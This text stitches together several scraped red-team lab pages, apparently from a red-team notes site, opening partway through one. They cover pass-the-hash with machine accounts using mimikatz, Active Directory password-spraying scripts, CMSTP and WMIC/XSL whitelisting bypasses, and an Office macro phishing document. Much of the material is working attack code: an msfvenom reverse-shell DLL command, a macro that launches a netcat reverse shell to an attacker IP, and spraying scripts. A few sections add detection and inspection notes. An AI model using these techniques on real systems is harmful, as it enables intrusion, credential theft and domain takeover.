-Filter * -Properties MemberOf | ? {$_.MemberOf} ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuZevYH_7Rw1lASLHY%252F-LUukkle52vfUfQNN4La%252FScreenshot%2520from%25202018-12-29%252016-03-19.png%3Falt%3Dmedia%26token%3D2b3a6fe0-5068-4570-8d57-850ff291d292&width=768&dpr=3&quality=100&sign=6a03d793&sv=2) Of course, the same can be observed by simply checking the Domain Admins net group: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuyM3KYHqpDeEdvhsq%252F-LUuzQKXm9SftLBJy13u%252FScreenshot%2520from%25202018-12-29%252017-22-59.png%3Falt%3Dmedia%26token%3D88ba9b67-e597-4cd5-8e89-fc2e35a68b21&width=768&dpr=3&quality=100&sign=2f5ba891&sv=2) or administrators group (not applicable to our lab, but showing as a sidenote): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuyM3KYHqpDeEdvhsq%252F-LUuzgWNIscLmiaWHJ0V%252FScreenshot%2520from%25202018-12-29%252017-24-07.png%3Falt%3Dmedia%26token%3D6dfc748d-677a-42ed-93cb-7e08beee1565&width=768&dpr=3&quality=100&sign=60021d38&sv=2) In AD, the highlighted part can be seen here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuoXO0chEcOD_0zFWe%252F-LUuovUEZ_wDea99EdgM%252FScreenshot%2520from%25202018-12-29%252016-36-17.png%3Falt%3Dmedia%26token%3D27575816-6f8b-45fb-90a7-5b5633f764e8&width=768&dpr=3&quality=100&sign=2f4a465d&sv=2) Extracting the machine `WS01$` NTLM hash after the admin privileges were gained on the system: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuZevYH_7Rw1lASLHY%252F-LUukZyRrwlCf8zDRmIW%252FScreenshot%2520from%25202018-12-29%252015-29-17.png%3Falt%3Dmedia%26token%3D34fcbe4c-8054-426e-87eb-81cfc4da5ec3&width=768&dpr=3&quality=100&sign=dfe99528&sv=2) Let's check that our current compromised user `ws01\mantvydas` (local admin on ws01) cannot access the domain controller DC01 just yet: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuZevYH_7Rw1lASLHY%252F-LUukbZs8ndBgu0jksV7%252FScreenshot%2520from%25202018-12-29%252015-47-10.png%3Falt%3Dmedia%26token%3D72c823b6-7290-48b1-9033-dbdc453e18c1&width=768&dpr=3&quality=100&sign=737a1a71&sv=2) Since WS01$ machine is a member of `Domain Admins` and we have extracted the machine's hash with mimikatz, we can use mimikatz to pass that hash and effectively elevate our access to Domain Admin: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuoXO0chEcOD_0zFWe%252F-LUup_h6QZz_PyGpjBdZ%252FScreenshot%2520from%25202018-12-29%252015-52-35.png%3Falt%3Dmedia%26token%3D0382cdb0-d0f3-40d6-9ac8-5e248e1b6e76&width=768&dpr=3&quality=100&sign=de6e8ecc&sv=2) Below shows how the machine's hash is passed which results in an elevated cmd.exe prompt. Using the elevated prompt enables us to access the domain controller as shown with `dir \\dc01\c$`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUuZevYH_7Rw1lASLHY%252F-LUuke2W4awh1X2YwEoi%252FPeek%25202018-12-29%252015-49.gif%3Falt%3Dmedia%26token%3D4d15dc64-86fc-4294-8c8b-d617e125c2d2&width=768&dpr=3&quality=100&sign=cf8441ae&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts#remember) Remember --------------------------------------------------------------------------------------------------------------------------------------------------- It's worth re-emphasizing that computer/machine accounts are essentially the same as user accounts and can be as dangerous if misconfigured. Let's create a new machine account with powermad like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LoB_8R0ZLxhCxkexWu5%252F-LoB_H5TjHeuvoRB0YvW%252Fimage.png%3Falt%3Dmedia%26token%3D6d3a8b4c-210b-4c3e-8e12-17732bf2701b&width=768&dpr=3&quality=100&sign=f1a48add&sv=2) Now, let's say someone added the testmachine$ account into Domain Admins: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LoB_8R0ZLxhCxkexWu5%252F-LoBgH9nlN3r5nD25Cx0%252Fimage.png%3Falt%3Dmedia%26token%3D73099fbc-3843-4288-9fce-79ab191c9068&width=768&dpr=3&quality=100&sign=1c283fd5&sv=2) ...if we somehow get hold of the testmachine$ password, we can escalate to a DA. We can check this by opening a new console and logging in as testmachine$ with `/netonly` flag. Note how initially the user spotless cannot list files on the DC01, but once `runas /user:testmachine$ /netonly powershell` is run and the password is provided, DC01 is no longer complaining and allows spotless listing its file system: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LoB_8R0ZLxhCxkexWu5%252F-LoBft21u9a7ydX7lrKM%252Fimage.png%3Falt%3Dmedia%26token%3Dc38685cd-640b-404a-bd6b-6dcd9a4e1493&width=768&dpr=3&quality=100&sign=d0cbc8ae&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------- [https://blog.secarma.co.uk/labs/using-machine-account-passwords-during-an-engagementblog.secarma.co.uk](https://blog.secarma.co.uk/labs/using-machine-account-passwords-during-an-engagement) [https://www.c0d3xpl0it.com/2018/05/machine-accounts-in-pentest-engagement.html?m=1www.c0d3xpl0it.com](https://www.c0d3xpl0it.com/2018/05/machine-accounts-in-pentest-engagement.html?m=1) [PreviousFrom DnsAdmins to SYSTEM to Domain Compromise](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise) [NextBloodHound with Kali Linux: 101](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts#execution) * [Remember](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts#remember) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts#references) attacker@victim Copy net group "domain admins" /domain attacker@victim Copy net localgroup administrators /domain attacker@victim Copy sekurlsa::logonPasswords attacker@victim Copy sekurlsa::pth /user:ws01$ /domain:offense.local /ntlm:ab53503b0f35c9883ff89b75527d5861 Copy New-MachineAccount -MachineAccount testmachine Copy Get-NetGroupMember "domain admins" | select membern* --- # Active Directory Password Spraying | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying.md) . This lab explores ways of password spraying against Active Directory accounts. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#invoke-domainspray) Invoke-DomainSpray ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- attacker@victim Copy Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name | Out-File users.txt type users.txt ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaS-IicO-gwknsxFmSX%252F-LaS-Z-2yoUohAqbiqyO%252FScreenshot%2520from%25202019-03-20%252021-29-13.png%3Falt%3Dmedia%26token%3Dd3b4c037-573c-4d27-888e-88e81a4623e7&width=768&dpr=3&quality=100&sign=bff987a3&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaS-IicO-gwknsxFmSX%252F-LaS0LGdKDgXjx_NERm2%252FScreenshot%2520from%25202019-03-20%252021-32-37.png%3Falt%3Dmedia%26token%3D2a59658d-4f97-44a6-afa1-41841f5e3754&width=768&dpr=3&quality=100&sign=7d029558&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#spraying-using-dsacls) Spraying using dsacls ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- While I was poking around with dsacls for enumerating AD object permissions [Enumerating AD Object Permissions with dsacls](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions) I noticed that one could attempt to bind to LDAP using specific AD credentials, so a dirty AD password spraying POC came about: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LaNKkYmPfGSF80_tQUx%252F-LaNQokIjU3XkqUj39tP%252FScreenshot%2520from%25202019-03-20%252000-10-10.png%3Falt%3Dmedia%26token%3D623bc176-aebd-4293-b12a-c01ff6d0724d&width=768&dpr=3&quality=100&sign=a5b27e04&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#spraying-with-start-process) Spraying with Start-Process ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Similarly to dsacls, it's possible to spray passwords with `Start-Process` cmdlet and the help of PowerView's cmdlets: Enjoy the shells: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LexNPdaQm0mXHWwhHU9%252F-LexQt0wsAetdUeTSSjD%252Fspraying.gif%3Falt%3Dmedia%26token%3Da8ec548e-6765-4b3a-84e4-391e9e3edf8c&width=768&dpr=3&quality=100&sign=6c401091&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)DomainPasswordSpray/DomainPasswordSpray.ps1 at master · dafthack/DomainPasswordSprayGitHub](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)PowerSploit/Recon at master · PowerShellMafia/PowerSploitGitHub](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) [PreviousEnumerating AD Object Permissions with dsacls](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions) [NextActive Directory Lab with Hyper-V and PowerShell](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell) Last updated 7 years ago * [Invoke-DomainSpray](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#invoke-domainspray) * [Spraying using dsacls](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#spraying-using-dsacls) * [Spraying with Start-Process](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#spraying-with-start-process) * [References](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying#references) attacker@victim Copy Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose attacker@victim Copy $domain = ((cmd /c set u)[-3] -split "=")[-1] $pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1] $lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1] $password = "123456" # (Get-Content users.txt) "krbtgt","spotless" | % { $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount if ($badPwdCount -lt $lockoutBadPwdCount - 3) { $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials" if ($isInvalid -match "Invalid") { Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red } else { Write-Host "[+] Working Credentials for $_ : $password" -foreground green } } } spray-ldap.ps1 Copy # will spray only users that currently have 0 bad password attempts # dependency - powerview function Get-BadPasswordCount { param( $username = "username", $domain = "offense.local" ) $pdc = (get-netdomain -domain $domain).PdcRoleOwner $badPwdCount = (Get-NetUser $username -Domain $domain -DomainController $pdc.name).badpwdcount return $badPwdCount } $users = Get-netuser -properties samaccountname | Select-Object -ExpandProperty samaccountname $domain = "offense.local" $password = "123456" Write-Host $users.Count users supplied; $users | % { $badPasswordCount = Get-BadPasswordCount -username $_ -Domain $domain if ($badPasswordCount -lt 0) { Write-Host Spraying : -NoNewline; Write-host -ForegroundColor Green " $_" $credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @("$domain\$_",(ConvertTo-SecureString -String $password -AsPlainText -Force)) Start-Process cmd -Credential ($credentials) } else { Write-Host "Ignoring $_ with $badPasswordCount badPwdCount" -ForegroundColor Red } } --- # CMSTP | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution.md) . [](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution#execution) Execution --------------------------------------------------------------------------------------------------------------- Generating the a reverse shell payload as a DLL: evil.dll Copy msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > /root/tools/mitre/cmstp/evil.dll Creating a file that will be loaded by CSMTP.exe binary that will in turn load our evil.dll: f.inf Copy [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] RegisterOCXs=RegisterOCXSection [RegisterOCXSection] C:\experiments\cmstp\evil.dll [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="mantvydas" ShortSvcName="mantvydas" Invoking the payload: [](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution#observations) Observations --------------------------------------------------------------------------------------------------------------------- Rundll32 is spawned which then establishes the connection back to the attacker: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHNkAHCtNWkcpM7loMR%252F-LHNkKxIiDT-JLbb1U9u%252Fcmstp-rundll32.png%3Falt%3Dmedia%26token%3D488dafa4-0a2d-46e6-a21e-c19e8497ea9a&width=768&dpr=3&quality=100&sign=194c8047&sv=2) A very privitive way of hunting for suspicious instances of rundll32 initiating connections would be skimming through the sysmon logs and looking for network connections being established by rundll32 immediately/soon after it had been spawned by cmstp. Note how the connection was established one second after the process creation. This behaviour depends on what the payload is supposed to do, but if the payload is a reverse shell, it usually attempts connecting back immediately upon execution, which is exactly our case: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHNzY2WPpqSOzkhzmcH%252F-LHNzVZ2q2Jmc7oydGYH%252Fcmstp-kibana.png%3Falt%3Dmedia%26token%3D372dc1eb-e8cd-4b61-a536-dbb058ad29f0&width=768&dpr=3&quality=100&sign=8f810153&sv=2) [](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution#references) References ----------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)System Binary Proxy Execution: CMSTP, Sub-technique T1218.003 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1191) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fpentestlab.blog%2Fwp-content%2Fuploads%2F2024%2F08%2Fcropped-pentestlab.webp%3Fw%3D192&width=20&dpr=3&quality=100&sign=13e0d4f1&sv=2)AppLocker Bypass – CMSTPPenetration Testing Lab](https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/) [PreviousCode Execution through Control Panel Add-ins](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins) [NextInstallUtil](https://www.ired.team/offensive-security/code-execution/t1118-installutil) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution#execution) * [Observations](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution#observations) * [References](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution#references) Copy PS C:\experiments\cmstp> cmstp.exe /s .\f.inf --- # T1137: Phishing - Office Macros | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros.md) . This technique will build a primitive word document that will auto execute the VBA Macros code once the Macros protection is disabled. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#weaponization) Weaponization -------------------------------------------------------------------------------------------------------------------------------------------- 1. Create new word document (CTRL+N) 2. Hit ALT+F11 to go into Macro editor 3. Double click into the "This document" and CTRL+C/V the below: macro Copy Private Sub Document_Open() MsgBox "game over", vbOKOnly, "game over" a = Shell("C:\tools\shell.cmd", vbHide) End Sub C:\\tools\\shell.cmd Copy C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe This is how it should look roughly in: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgLyzzg4s-qdg2dwI7%252F-LIgPQNRLaMXc3DpUP4X%252Fmacros-code.png%3Falt%3Dmedia%26token%3D7f44d9d6-1fc7-4d58-8b95-e7cfdd0a49fb&width=768&dpr=3&quality=100&sign=f24cef5e&sv=2) ALT+F11 to switch back to the document editing mode and add a flair of social engineering like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgLyzzg4s-qdg2dwI7%252F-LIgPqjDNeExtA1WGgnU%252Fmacros-body.png%3Falt%3Dmedia%26token%3D0c68270e-1177-4614-96bd-4ff804f85071&width=768&dpr=3&quality=100&sign=c9d8cacd&sv=2) Save the file as a macro enabled document, for example a Doc3.dotm: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgLyzzg4s-qdg2dwI7%252F-LIgQnqjf8Sm1htUDKpJ%252Fmacros-filename.png%3Falt%3Dmedia%26token%3D5e28e88c-2ef2-423d-a76f-c7d7b8d1d831&width=768&dpr=3&quality=100&sign=622d00e2&sv=2) 30KB [Doc3.dotm](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LJU_6TlC7rTGHQDzy-I%2F-LJU_9d0pbAxFsFkB9Ea%2FDoc3.dotm?alt=media&token=ccdf87f1-364b-4a14-8122-dbb18ca54313) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LJU_6TlC7rTGHQDzy-I%2F-LJU_9d0pbAxFsFkB9Ea%2FDoc3.dotm?alt=media&token=ccdf87f1-364b-4a14-8122-dbb18ca54313) Dot3.dotm - Word Document with Embedded VBA Macros [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------ Victim launching the Doc3.dotm: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgRcfkT_ObB4CHMxbK%252F-LIgRv4H3uSymKtI-jFD%252Fmacro-victim.png%3Falt%3Dmedia%26token%3Ddec18391-67f7-421e-b9f4-af3d25611794&width=768&dpr=3&quality=100&sign=89cfe857&sv=2) ...and enabling the content - which results in attacker receiving a reverse shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgRcfkT_ObB4CHMxbK%252F-LIgSRtAicNbpqdX4uJB%252Fmacro-shell.png%3Falt%3Dmedia%26token%3Dc0b01eb6-5007-4d0c-b67b-49372c88f5df&width=768&dpr=3&quality=100&sign=c0b94cff&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#observations) Observations ------------------------------------------------------------------------------------------------------------------------------------------ The below graphic represents the process ancestry after the victim had clicked the "Enable Content" button in our malicious Doc3.dotm document: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgLyzzg4s-qdg2dwI7%252F-LIgRVT9xNepD8ZzZAMQ%252Fmacro-ancestry.png%3Falt%3Dmedia%26token%3D3be9afae-284c-45e9-ab6e-dcbddbce3780&width=768&dpr=3&quality=100&sign=94f0b116&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#inspection) Inspection -------------------------------------------------------------------------------------------------------------------------------------- If you received a suspicious Office document and do not have any malware analysis tools, hopefully at least you have access to a WinZip or 7Zip and Strings utility or any type of Hex Editor to hand. Since Office files are essentially ZIP archives (PK magic bytes): ...the file Dot3.dotm can be renamed to **Doc3.zip** and simply unzipped like a regular ZIP archive. Doing so deflates the archive and reveals the files that make up the malicious office document. One of the files is the `document.xml` which is where the main document body text goes and `vbaProject.bin` containing the evil macros themselves: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgRcfkT_ObB4CHMxbK%252F-LIgclLBiiK0f9mpubkF%252Fmacros-deflated.png%3Falt%3Dmedia%26token%3Da99368f8-1284-4958-bed9-ab6ec390cd15&width=768&dpr=3&quality=100&sign=17530428&sv=2) Looking inside the `document.xml`, we can see the body copy we inputted at the very begging of this page in the [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#weaponization) section: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgRcfkT_ObB4CHMxbK%252F-LIgczRGILGd6SJs7B19%252Fmacros-document-unzipped.png%3Falt%3Dmedia%26token%3D9a1fb686-76d6-4b1c-b05b-444109bf4544&width=768&dpr=3&quality=100&sign=b66eb094&sv=2) Additionally, if you have the strings or a hex dumping utility, you can pass the `vbaProject.bin` through it. This can sometimes give you as defender enough to determine if the document is suspicious/malicious. Running `hexdump -C vbaProject.bin` reveals some fragmented keywords that should immediately raise your suspicion - **Shell, Hide, Sub\_Open** and something that looks like a file path: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgRcfkT_ObB4CHMxbK%252F-LIgf-qO1mmU0Yc3pTyw%252Fmacros-hex-shell.png%3Falt%3Dmedia%26token%3D3c6fff1e-4f8e-4b17-b4e6-aab793268570&width=768&dpr=3&quality=100&sign=f7085865&sv=2) If you have a malware analysis linux distro Remnux, you can easily inspect the VBA macros code contained in the document by issuing the command `olevba.py filename.dotm`. As seen below, the command nicely decodes the `vbaProject.bin` and reveals the actual code as well as provides some interpretation of the commands found in the script: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LIgRcfkT_ObB4CHMxbK%252F-LIgd5GpqjkpIS7VMnlq%252Fmacros-olevba.png%3Falt%3Dmedia%26token%3Dc6fb6bf7-b9ba-4bd3-956c-d1a37bb962bd&width=768&dpr=3&quality=100&sign=efca05db&sv=2) Note that the olevba can be fooled as per [http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen](http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#references) References -------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)Office Application Startup, Technique T1137 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1137) [PreviousT1173: Phishing - DDE](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde) [NextPhishing: OLE + LNK](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk) Last updated 7 years ago * [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#weaponization) * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#execution) * [Observations](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#observations) * [Inspection](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#inspection) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros#references) Copy root@remnux:/home/remnux# hexdump -C Doc3.dotm | head -n1 00000000 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 cc 3c |PK..........!..<| --- # Application Whitelisting Bypass with WMIC and XSL | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl.md) . Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo: [regsvr32](https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo) [](https://www.ired.team/offensive-security/code-execution/application-whitelisting-bypass-with-wmic-and-xsl#execution) Execution -------------------------------------------------------------------------------------------------------------------------------------- Define the XSL file containing the jscript payload: evil.xsl Copy Invoke any wmic command now and specify /format pointing to the evil.xsl: attacker@victim Copy wmic os get /FORMAT:"evil.xsl" 